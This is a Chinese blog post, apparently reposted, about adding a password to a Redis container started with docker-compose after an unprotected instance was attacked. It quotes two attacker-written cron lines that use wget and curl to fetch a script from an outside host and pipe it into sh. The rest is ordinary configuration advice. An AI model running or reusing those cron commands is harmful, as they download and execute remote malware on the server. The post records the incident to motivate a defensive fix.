知方号

知方号

使用 docker

前言

在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:

代码语言:javascript复制*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh

还好及时发现,在此记录一下解决过程。

解决过程方案一

在 docker-compose.yml 文件中写入下列内容:

代码语言:javascript复制redis: image: redis container_name: my_redis command: redis-server /usr/local/etc/redis/redis.conf ports: - "6379:6379" volumes: - ./data:/data - ./redis.conf:/usr/local/etc/redis/redis.conf

其中:

image 代表镜像名称;container_name 代表生成的容器名称;command 代表生成容器后要执行的命令;ports 将容器内的端口映射到容器外;volumes 代表共享目录或文件,冒号前为宿主机目录,冒号后为容器内目录。举例:- ./data:/data 意为将当前目录共享到容器内的 /data 目录,相当于做了一个软连接。

注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。Redis 的密码需要自己在与容器共享的配置 redis.conf 中加入,即更改配置中 requirepass 为:

代码语言:javascript复制requirepass yourpassword

在 docker-compose.yml 所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

方案二

同样在 docker-compose.yml 中写入下列内容:

代码语言:javascript复制redis: image: redis container_name: my_redis command: redis-server --requirepass yourpassword ports: - "6379:6379" volumes: - ./data:/data

然后直接在其所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

总结

方案一的好处是可以

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至lizi9903@foxmail.com举报,一经查实,本站将立刻删除。